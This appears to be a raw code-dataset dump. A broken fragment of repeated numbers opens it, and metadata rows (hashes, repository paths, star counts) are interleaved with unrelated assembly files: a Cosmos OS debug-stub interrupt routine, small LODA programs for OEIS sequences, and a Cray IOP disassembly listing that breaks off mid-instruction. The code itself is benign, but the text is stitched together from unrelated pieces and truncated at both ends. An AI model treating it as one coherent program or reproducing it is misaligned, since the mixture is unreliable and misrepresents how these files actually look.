35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
28.101156
2,999
0.652268
040b202deff1a5d68709ca58eb369d7d60491bb6
556
asm
Assembly
source/Cosmos.Core.DebugStub/TracerEntry.asm
Geramy/Cosmos
38c699d42d5a9e53c8a902c866130b64c4f2eab3
[ "BSD-3-Clause" ]
207
2017-07-30T13:01:52.000Z
2022-03-25T14:33:53.000Z
source/Cosmos.Core.DebugStub/TracerEntry.asm
Geramy/Cosmos
38c699d42d5a9e53c8a902c866130b64c4f2eab3
[ "BSD-3-Clause" ]
57
2017-08-13T13:58:13.000Z
2022-02-25T21:12:09.000Z
source/Cosmos.Core.DebugStub/TracerEntry.asm
Geramy/Cosmos
38c699d42d5a9e53c8a902c866130b64c4f2eab3
[ "BSD-3-Clause" ]
62
2017-08-13T09:56:34.000Z
2022-03-29T15:53:16.000Z
; Generated at 6/14/2016 12:11:29 PM DebugStub_TracerEntry: cli Pushad mov dword [DebugStub_PushAllPtr], ESP mov dword [DebugStub_CallerEBP], EBP mov dword EBP, ESP add dword EBP, 0x20 mov dword EAX, [EBP] add dword EBP, 0xC mov dword [DebugStub_CallerESP], EBP mov dword EBX, EAX MOV EAX, DR6 and dword EAX, 0x4000 cmp dword EAX, 0x4000 JE near DebugStub_TracerEntry_Block1_End dec dword EBX DebugStub_TracerEntry_Block1_End: mov dword EAX, EBX mov dword [DebugStub_CallerEIP], EAX Call DebugStub_Executing Popad sti DebugStub_TracerEntry_Exit: iret
17.935484
40
0.803957
3cecd8f5fe0939b70fb55435b9b6bbb94aa88c40
301
asm
Assembly
programs/oeis/113/A113805.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/113/A113805.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/113/A113805.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A113805: Numbers that are congruent to {5, 9} mod 14. ; 5,9,19,23,33,37,47,51,61,65,75,79,89,93,103,107,117,121,131,135,145,149,159,163,173,177,187,191,201,205,215,219,229,233,243,247,257,261,271,275,285,289,299,303,313,317,327,331,341,345,355,359,369 mul $0,3 div $0,2 mul $0,14 div $0,3 add $0,5
33.444444
197
0.69103
d2195eed3e94bccb657abf58add66eb7b1f8a666
351
asm
Assembly
oeis/021/A021147.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/021/A021147.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/021/A021147.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A021147: Decimal expansion of 1/143. ; Submitted by Jon Maiga ; 0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9,9,3,0,0,6,9 mov $1,$0 mul $1,2 div $1,3 mov $2,3 pow $2,$1 mod $2,5 mov $0,$2 sub $0,1 mul $0,3
25.071429
201
0.549858
8c6c5758456b04a3b77f1aae60ccf27a8f500ff4
53,440
asm
Assembly
target/cos_117/disasm/iop_overlay1/DISPLAY.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
49
2020-10-09T12:29:16.000Z
2022-03-12T02:33:35.000Z
target/cos_117/disasm/iop_overlay1/DISPLAY.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
1
2021-12-29T15:59:25.000Z
2021-12-29T15:59:25.000Z
target/cos_117/disasm/iop_overlay1/DISPLAY.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
6
2021-04-12T06:10:32.000Z
2022-02-08T23:11:19.000Z
0x0000 (0x000000) 0x2102- f:00020 d: 258 | A = OR[258] 0x0001 (0x000002) 0x142D- f:00012 d: 45 | A = A + 45 (0x002D) 0x0002 (0x000004) 0x2918- f:00024 d: 280 | OR[280] = A 0x0003 (0x000006) 0x2102- f:00020 d: 258 | A = OR[258] 0x0004 (0x000008) 0x1427- f:00012 d: 39 | A = A + 39 (0x0027) 0x0005 (0x00000A) 0x2919- f:00024 d: 281 | OR[281] = A 0x0006 (0x00000C) 0x2102- f:00020 d: 258 | A = OR[258] 0x0007 (0x00000E) 0x1421- f:00012 d: 33 | A = A + 33 (0x0021) 0x0008 (0x000010) 0x291A- f:00024 d: 282 | OR[282] = A 0x0009 (0x000012) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x000A (0x000014) 0x2924- f:00024 d: 292 | OR[292] = A 0x000B (0x000016) 0x2102- f:00020 d: 258 | A = OR[258] 0x000C (0x000018) 0x1412- f:00012 d: 18 | A = A + 18 (0x0012) 0x000D (0x00001A) 0x2908- f:00024 d: 264 | OR[264] = A 0x000E (0x00001C) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x000F (0x00001E) 0x291B- f:00024 d: 283 | OR[283] = A 0x0010 (0x000020) 0x2102- f:00020 d: 258 | A = OR[258] 0x0011 (0x000022) 0x1420- f:00012 d: 32 | A = A + 32 (0x0020) 0x0012 (0x000024) 0x2913- f:00024 d: 275 | OR[275] = A 0x0013 (0x000026) 0x100F- f:00010 d: 15 | A = 15 (0x000F) 0x0014 (0x000028) 0x1600- f:00013 d: 0 | A = A - 0 (0x0000) 0x0015 (0x00002A) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F) 0x0016 (0x00002C) 0x5800- f:00054 d: 0 | B = A 0x0017 (0x00002E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0018 (0x000030) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004) 0x0019 (0x000032) 0x2513- f:00022 d: 275 | A = A + OR[275] 0x001A (0x000034) 0x290D- f:00024 d: 269 | OR[269] = A 0x001B (0x000036) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x001C (0x000038) 0x4800- f:00044 d: 0 | A = A > B 0x001D (0x00003A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x001E (0x00003C) 0x8604- f:00103 d: 4 | P = P + 4 (0x0022), A # 0 0x001F (0x00003E) 0x1800-0xFFFF f:00014 d: 0 | A = 65535 (0xFFFF) 0x0021 (0x000042) 0x291B- f:00024 d: 283 | OR[283] = A 0x0022 (0x000044) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0023 (0x000046) 0x290D- f:00024 d: 269 | OR[269] = A 0x0024 (0x000048) 0x3118- f:00030 d: 280 | A = (OR[280]) 0x0025 (0x00004A) 0x8612- f:00103 d: 18 | P = P + 18 (0x0037), A # 0 0x0026 (0x00004C) 0x1009- f:00010 d: 9 | A = 9 (0x0009) 0x0027 (0x00004E) 0x2925- f:00024 d: 293 | OR[293] = A 0x0028 (0x000050) 0x2118- f:00020 d: 280 | A = OR[280] 0x0029 (0x000052) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x002A (0x000054) 0x2926- f:00024 d: 294 | OR[294] = A 0x002B (0x000056) 0x211B- f:00020 d: 283 | A = OR[283] 0x002C (0x000058) 0x2927- f:00024 d: 295 | OR[295] = A 0x002D (0x00005A) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x002E (0x00005C) 0x5800- f:00054 d: 0 | B = A 0x002F (0x00005E) 0x1800-0x1B18 f:00014 d: 0 | A = 6936 (0x1B18) 0x0031 (0x000062) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0032 (0x000064) 0x2006- f:00020 d: 6 | A = OR[6] 0x0033 (0x000066) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x0034 (0x000068) 0x2908- f:00024 d: 264 | OR[264] = A 0x0035 (0x00006A) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0036 (0x00006C) 0x290D- f:00024 d: 269 | OR[269] = A 0x0037 (0x00006E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0038 (0x000070) 0x3918- f:00034 d: 280 | (OR[280]) = A 0x0039 (0x000072) 0x210D- f:00020 d: 269 | A = OR[269] 0x003A (0x000074) 0x3119- f:00030 d: 281 | A = (OR[281]) 0x003B (0x000076) 0x8602- f:00103 d: 2 | P = P + 2 (0x003D), A # 0 0x003C (0x000078) 0x7018- f:00070 d: 24 | P = P + 24 (0x0054) 0x003D (0x00007A) 0x2119- f:00020 d: 281 | A = OR[281] 0x003E (0x00007C) 0x290D- f:00024 d: 269 | OR[269] = A 0x003F (0x00007E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0040 (0x000080) 0x390D- f:00034 d: 269 | (OR[269]) = A 0x0041 (0x000082) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1 0x0042 (0x000084) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x0043 (0x000086) 0x840B- f:00102 d: 11 | P = P + 11 (0x004E), A = 0 0x0044 (0x000088) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x0045 (0x00008A) 0x2925- f:00024 d: 293 | OR[293] = A 0x0046 (0x00008C) 0x210D- f:00020 d: 269 | A = OR[269] 0x0047 (0x00008E) 0x2926- f:00024 d: 294 | OR[294] = A 0x0048 (0x000090) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0049 (0x000092) 0x2927- f:00024 d: 295 | OR[295] = A 0x004A (0x000094) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x004B (0x000096) 0x5800- f:00054 d: 0 | B = A 0x004C (0x000098) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x004D (0x00009A) 0x7C09- f:00076 d: 9 | R = OR[9] 0x004E (0x00009C) 0x1003- f:00010 d: 3 | A = 3 (0x0003) 0x004F (0x00009E) 0x2925- f:00024 d: 293 | OR[293] = A 0x0050 (0x0000A0) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x0051 (0x0000A2) 0x5800- f:00054 d: 0 | B = A 0x0052 (0x0000A4) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0053 (0x0000A6) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0054 (0x0000A8) 0x2100- f:00020 d: 256 | A = OR[256] 0x0055 (0x0000AA) 0x141D- f:00012 d: 29 | A = A + 29 (0x001D) 0x0056 (0x0000AC) 0x2913- f:00024 d: 275 | OR[275] = A 0x0057 (0x0000AE) 0x100F- f:00010 d: 15 | A = 15 (0x000F) 0x0058 (0x0000B0) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002) 0x0059 (0x0000B2) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F) 0x005A (0x0000B4) 0x5800- f:00054 d: 0 | B = A 0x005B (0x0000B6) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x005C (0x0000B8) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004) 0x005D (0x0000BA) 0x2513- f:00022 d: 275 | A = A + OR[275] 0x005E (0x0000BC) 0x290D- f:00024 d: 269 | OR[269] = A 0x005F (0x0000BE) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x0060 (0x0000C0) 0x4800- f:00044 d: 0 | A = A > B 0x0061 (0x0000C2) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x0062 (0x0000C4) 0x2914- f:00024 d: 276 | OR[276] = A 0x0063 (0x0000C6) 0x2102- f:00020 d: 258 | A = OR[258] 0x0064 (0x0000C8) 0x1420- f:00012 d: 32 | A = A + 32 (0x0020) 0x0065 (0x0000CA) 0x2913- f:00024 d: 275 | OR[275] = A 0x0066 (0x0000CC) 0x100F- f:00010 d: 15 | A = 15 (0x000F) 0x0067 (0x0000CE) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002) 0x0068 (0x0000D0) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F) 0x0069 (0x0000D2) 0x5800- f:00054 d: 0 | B = A 0x006A (0x0000D4) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x006B (0x0000D6) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004) 0x006C (0x0000D8) 0x2513- f:00022 d: 275 | A = A + OR[275] 0x006D (0x0000DA) 0x290D- f:00024 d: 269 | OR[269] = A 0x006E (0x0000DC) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x006F (0x0000DE) 0x4800- f:00044 d: 0 | A = A > B 0x0070 (0x0000E0) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x0071 (0x0000E2) 0x2915- f:00024 d: 277 | OR[277] = A 0x0072 (0x0000E4) 0x2114- f:00020 d: 276 | A = OR[276] 0x0073 (0x0000E6) 0x2715- f:00023 d: 277 | A = A - OR[277] 0x0074 (0x0000E8) 0x8602- f:00103 d: 2 | P = P + 2 (0x0076), A # 0 0x0075 (0x0000EA) 0x7064- f:00070 d: 100 | P = P + 100 (0x00D9) 0x0076 (0x0000EC) 0x100F- f:00010 d: 15 | A = 15 (0x000F) 0x0077 (0x0000EE) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002) 0x0078 (0x0000F0) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F) 0x0079 (0x0000F2) 0x5800- f:00054 d: 0 | B = A 0x007A (0x0000F4) 0x2114- f:00020 d: 276 | A = OR[276] 0x007B (0x0000F6) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x007C (0x0000F8) 0x290D- f:00024 d: 269 | OR[269] = A 0x007D (0x0000FA) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x007E (0x0000FC) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004) 0x007F (0x0000FE) 0x2513- f:00022 d: 275 | A = A + OR[275] 0x0080 (0x000100) 0x290E- f:00024 d: 270 | OR[270] = A 0x0081 (0x000102) 0x310E- f:00030 d: 270 | A = (OR[270]) 0x0082 (0x000104) 0x4C00- f:00046 d: 0 | A = A >> B 0x0083 (0x000106) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001) 0x0084 (0x000108) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001) 0x0085 (0x00010A) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x0086 (0x00010C) 0x4E00- f:00047 d: 0 | A = A << B 0x0087 (0x00010E) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x0088 (0x000110) 0x1800-0x029F f:00014 d: 0 | A = 671 (0x029F) 0x008A (0x000114) 0x2913- f:00024 d: 275 | OR[275] = A 0x008B (0x000116) 0x2114- f:00020 d: 276 | A = OR[276] 0x008C (0x000118) 0x8604- f:00103 d: 4 | P = P + 4 (0x0090), A # 0 0x008D (0x00011A) 0x1800-0x02A7 f:00014 d: 0 | A = 679 (0x02A7) 0x008F (0x00011E) 0x2913- f:00024 d: 275 | OR[275] = A 0x0090 (0x000120) 0x2104- f:00020 d: 260 | A = OR[260] 0x0091 (0x000122) 0x290D- f:00024 d: 269 | OR[269] = A 0x0092 (0x000124) 0x2104- f:00020 d: 260 | A = OR[260] 0x0093 (0x000126) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003) 0x0094 (0x000128) 0x1A00-0xFFFC f:00015 d: 0 | A = A & 65532 (0xFFFC) 0x0096 (0x00012C) 0x2904- f:00024 d: 260 | OR[260] = A 0x0097 (0x00012E) 0x2104- f:00020 d: 260 | A = OR[260] 0x0098 (0x000130) 0x2914- f:00024 d: 276 | OR[276] = A 0x0099 (0x000132) 0x1800-0x0008 f:00014 d: 0 | A = 8 (0x0008) 0x009B (0x000136) 0x2B04- f:00025 d: 260 | OR[260] = A + OR[260] 0x009C (0x000138) 0x2104- f:00020 d: 260 | A = OR[260] 0x009D (0x00013A) 0x2705- f:00023 d: 261 | A = A - OR[261] 0x009E (0x00013C) 0xB234- f:00131 d: 52 | R = OR[52], C = 1 0x009F (0x00013E) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B **** 0x00A0 (0x000140) 0x210D- f:00020 d: 269 | A = OR[269] 0x00A1 (0x000142) 0x3904- f:00034 d: 260 | (OR[260]) = A 0x00A2 (0x000144) 0x2D04- f:00026 d: 260 | OR[260] = OR[260] + 1 0x00A3 (0x000146) 0x2003- f:00020 d: 3 | A = OR[3] 0x00A4 (0x000148) 0x2513- f:00022 d: 275 | A = A + OR[275] 0x00A5 (0x00014A) 0x290D- f:00024 d: 269 | OR[269] = A 0x00A6 (0x00014C) 0x2114- f:00020 d: 276 | A = OR[276] 0x00A7 (0x00014E) 0x290E- f:00024 d: 270 | OR[270] = A 0x00A8 (0x000150) 0x1800-0x0008 f:00014 d: 0 | A = 8 (0x0008) 0x00AA (0x000154) 0x290F- f:00024 d: 271 | OR[271] = A 0x00AB (0x000156) 0x7006- f:00070 d: 6 | P = P + 6 (0x00B1) 0x00AC (0x000158) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x00AD (0x00015A) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x00AE (0x00015C) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1 0x00AF (0x00015E) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1 0x00B0 (0x000160) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1 0x00B1 (0x000162) 0x210F- f:00020 d: 271 | A = OR[271] 0x00B2 (0x000164) 0x8E06- f:00107 d: 6 | P = P - 6 (0x00AC), A # 0 0x00B3 (0x000166) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x00B4 (0x000168) 0x2925- f:00024 d: 293 | OR[293] = A 0x00B5 (0x00016A) 0x1800-0x0123 f:00014 d: 0 | A = 291 (0x0123) 0x00B7 (0x00016E) 0x2926- f:00024 d: 294 | OR[294] = A 0x00B8 (0x000170) 0x1800-0x0005 f:00014 d: 0 | A = 5 (0x0005) 0x00BA (0x000174) 0x2927- f:00024 d: 295 | OR[295] = A 0x00BB (0x000176) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x00BC (0x000178) 0x2928- f:00024 d: 296 | OR[296] = A 0x00BD (0x00017A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00BE (0x00017C) 0x2929- f:00024 d: 297 | OR[297] = A 0x00BF (0x00017E) 0x2114- f:00020 d: 276 | A = OR[276] 0x00C0 (0x000180) 0x292A- f:00024 d: 298 | OR[298] = A 0x00C1 (0x000182) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00C2 (0x000184) 0x292B- f:00024 d: 299 | OR[299] = A 0x00C3 (0x000186) 0x1800-0x0010 f:00014 d: 0 | A = 16 (0x0010) 0x00C5 (0x00018A) 0x292C- f:00024 d: 300 | OR[300] = A 0x00C6 (0x00018C) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x00C7 (0x00018E) 0x5800- f:00054 d: 0 | B = A 0x00C8 (0x000190) 0x1800-0x1B18 f:00014 d: 0 | A = 6936 (0x1B18) 0x00CA (0x000194) 0x7C09- f:00076 d: 9 | R = OR[9] 0x00CB (0x000196) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1 0x00CC (0x000198) 0x3104- f:00030 d: 260 | A = (OR[260]) 0x00CD (0x00019A) 0x2904- f:00024 d: 260 | OR[260] = A 0x00CE (0x00019C) 0x2104- f:00020 d: 260 | A = OR[260] 0x00CF (0x00019E) 0x2706- f:00023 d: 262 | A = A - OR[262] 0x00D0 (0x0001A0) 0x8007- f:00100 d: 7 | P = P + 7 (0x00D7), C = 0 0x00D1 (0x0001A2) 0x2104- f:00020 d: 260 | A = OR[260] 0x00D2 (0x0001A4) 0x2705- f:00023 d: 261 | A = A - OR[261] 0x00D3 (0x0001A6) 0x8003- f:00100 d: 3 | P = P + 3 (0x00D6), C = 0 0x00D4 (0x0001A8) 0x8402- f:00102 d: 2 | P = P + 2 (0x00D6), A = 0 0x00D5 (0x0001AA) 0x7002- f:00070 d: 2 | P = P + 2 (0x00D7) 0x00D6 (0x0001AC) 0x7003- f:00070 d: 3 | P = P + 3 (0x00D9) 0x00D7 (0x0001AE) 0x7C34- f:00076 d: 52 | R = OR[52] 0x00D8 (0x0001B0) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B **** 0x00D9 (0x0001B2) 0x2104- f:00020 d: 260 | A = OR[260] 0x00DA (0x0001B4) 0x290D- f:00024 d: 269 | OR[269] = A 0x00DB (0x0001B6) 0x2104- f:00020 d: 260 | A = OR[260] 0x00DC (0x0001B8) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003) 0x00DD (0x0001BA) 0x1A00-0xFFFC f:00015 d: 0 | A = A & 65532 (0xFFFC) 0x00DF (0x0001BE) 0x2904- f:00024 d: 260 | OR[260] = A 0x00E0 (0x0001C0) 0x2104- f:00020 d: 260 | A = OR[260] 0x00E1 (0x0001C2) 0x291D- f:00024 d: 285 | OR[285] = A 0x00E2 (0x0001C4) 0x1800-0x0028 f:00014 d: 0 | A = 40 (0x0028) 0x00E4 (0x0001C8) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002) 0x00E5 (0x0001CA) 0x2504- f:00022 d: 260 | A = A + OR[260] 0x00E6 (0x0001CC) 0x2904- f:00024 d: 260 | OR[260] = A 0x00E7 (0x0001CE) 0x2104- f:00020 d: 260 | A = OR[260] 0x00E8 (0x0001D0) 0x2705- f:00023 d: 261 | A = A - OR[261] 0x00E9 (0x0001D2) 0xB234- f:00131 d: 52 | R = OR[52], C = 1 0x00EA (0x0001D4) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B **** 0x00EB (0x0001D6) 0x210D- f:00020 d: 269 | A = OR[269] 0x00EC (0x0001D8) 0x3904- f:00034 d: 260 | (OR[260]) = A 0x00ED (0x0001DA) 0x2D04- f:00026 d: 260 | OR[260] = OR[260] + 1 0x00EE (0x0001DC) 0x211D- f:00020 d: 285 | A = OR[285] 0x00EF (0x0001DE) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x00F0 (0x0001E0) 0x291C- f:00024 d: 284 | OR[284] = A 0x00F1 (0x0001E2) 0x211C- f:00020 d: 284 | A = OR[284] 0x00F2 (0x0001E4) 0x290E- f:00024 d: 270 | OR[270] = A 0x00F3 (0x0001E6) 0x1800-0x0014 f:00014 d: 0 | A = 20 (0x0014) 0x00F5 (0x0001EA) 0x290D- f:00024 d: 269 | OR[269] = A 0x00F6 (0x0001EC) 0x210D- f:00020 d: 269 | A = OR[269] 0x00F7 (0x0001EE) 0x8407- f:00102 d: 7 | P = P + 7 (0x00FE), A = 0 0x00F8 (0x0001F0) 0x1800-0x2020 f:00014 d: 0 | A = 8224 (0x2020) 0x00FA (0x0001F4) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x00FB (0x0001F6) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1 0x00FC (0x0001F8) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1 0x00FD (0x0001FA) 0x7207- f:00071 d: 7 | P = P - 7 (0x00F6) 0x00FE (0x0001FC) 0x2100- f:00020 d: 256 | A = OR[256] 0x00FF (0x0001FE) 0x141D- f:00012 d: 29 | A = A + 29 (0x001D) 0x0100 (0x000200) 0x2915- f:00024 d: 277 | OR[277] = A 0x0101 (0x000202) 0x104C- f:00010 d: 76 | A = 76 (0x004C) 0x0102 (0x000204) 0x2913- f:00024 d: 275 | OR[275] = A 0x0103 (0x000206) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0104 (0x000208) 0x2914- f:00024 d: 276 | OR[276] = A 0x0105 (0x00020A) 0x100F- f:00010 d: 15 | A = 15 (0x000F) 0x0106 (0x00020C) 0x1600- f:00013 d: 0 | A = A - 0 (0x0000) 0x0107 (0x00020E) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F) 0x0108 (0x000210) 0x5800- f:00054 d: 0 | B = A 0x0109 (0x000212) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x010A (0x000214) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004) 0x010B (0x000216) 0x2515- f:00022 d: 277 | A = A + OR[277] 0x010C (0x000218) 0x290D- f:00024 d: 269 | OR[269] = A 0x010D (0x00021A) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x010E (0x00021C) 0x4800- f:00044 d: 0 | A = A > B 0x010F (0x00021E) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x0110 (0x000220) 0xBE03-0x02AF f:00137 d: 3 | R = OR[3]+687 (0x02AF), A # 0 0x0112 (0x000224) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x0113 (0x000226) 0x2B14- f:00025 d: 276 | OR[276] = A + OR[276] 0x0114 (0x000228) 0x1053- f:00010 d: 83 | A = 83 (0x0053) 0x0115 (0x00022A) 0x2913- f:00024 d: 275 | OR[275] = A 0x0116 (0x00022C) 0x100F- f:00010 d: 15 | A = 15 (0x000F) 0x0117 (0x00022E) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001) 0x0118 (0x000230) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F) 0x0119 (0x000232) 0x5800- f:00054 d: 0 | B = A 0x011A (0x000234) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x011B (0x000236) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004) 0x011C (0x000238) 0x2515- f:00022 d: 277 | A = A + OR[277] 0x011D (0x00023A) 0x290D- f:00024 d: 269 | OR[269] = A 0x011E (0x00023C) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x011F (0x00023E) 0x4800- f:00044 d: 0 | A = A > B 0x0120 (0x000240) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x0121 (0x000242) 0xBE03-0x02AF f:00137 d: 3 | R = OR[3]+687 (0x02AF), A # 0 0x0123 (0x000246) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x0124 (0x000248) 0x2B14- f:00025 d: 276 | OR[276] = A + OR[276] 0x0125 (0x00024A) 0x1052- f:00010 d: 82 | A = 82 (0x0052) 0x0126 (0x00024C) 0x2913- f:00024 d: 275 | OR[275] = A 0x0127 (0x00024E) 0x2102- f:00020 d: 258 | A = OR[258] 0x0128 (0x000250) 0x1420- f:00012 d: 32 | A = A + 32 (0x0020) 0x0129 (0x000252) 0x2915- f:00024 d: 277 | OR[277] = A 0x012A (0x000254) 0x100F- f:00010 d: 15 | A = 15 (0x000F) 0x012B (0x000256) 0x1600- f:00013 d: 0 | A = A - 0 (0x0000) 0x012C (0x000258) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F) 0x012D (0x00025A) 0x5800- f:00054 d: 0 | B = A 0x012E (0x00025C) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x012F (0x00025E) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004) 0x0130 (0x000260) 0x2515- f:00022 d: 277 | A = A + OR[277] 0x0131 (0x000262) 0x290D- f:00024 d: 269 | OR[269] = A 0x0132 (0x000264) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x0133 (0x000266) 0x4800- f:00044 d: 0 | A = A > B 0x0134 (0x000268) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x0135 (0x00026A) 0xBE03-0x02AF f:00137 d: 3 | R = OR[3]+687 (0x02AF), A # 0 0x0137 (0x00026E) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x0138 (0x000270) 0x2B14- f:00025 d: 276 | OR[276] = A + OR[276] 0x0139 (0x000272) 0x104D- f:00010 d: 77 | A = 77 (0x004D) 0x013A (0x000274) 0x2913- f:00024 d: 275 | OR[275] = A 0x013B (0x000276) 0x2100- f:00020 d: 256 | A = OR[256] 0x013C (0x000278) 0x1415- f:00012 d: 21 | A = A + 21 (0x0015) 0x013D (0x00027A) 0x2908- f:00024 d: 264 | OR[264] = A 0x013E (0x00027C) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x013F (0x00027E) 0x2915- f:00024 d: 277 | OR[277] = A 0x0140 (0x000280) 0x2115- f:00020 d: 277 | A = OR[277] 0x0141 (0x000282) 0x1640- f:00013 d: 64 | A = A - 64 (0x0040) 0x0142 (0x000284) 0x8003- f:00100 d: 3 | P = P + 3 (0x0145), C = 0 0x0143 (0x000286) 0x8402- f:00102 d: 2 | P = P + 2 (0x0145), A = 0 0x0144 (0x000288) 0x7C34- f:00076 d: 52 | R = OR[52] 0x0145 (0x00028A) 0x0000- f:00000 d: 0 | PASS 0x0146 (0x00028C) 0x2115- f:00020 d: 277 | A = OR[277] 0x0147 (0x00028E) 0x1640- f:00013 d: 64 | A = A - 64 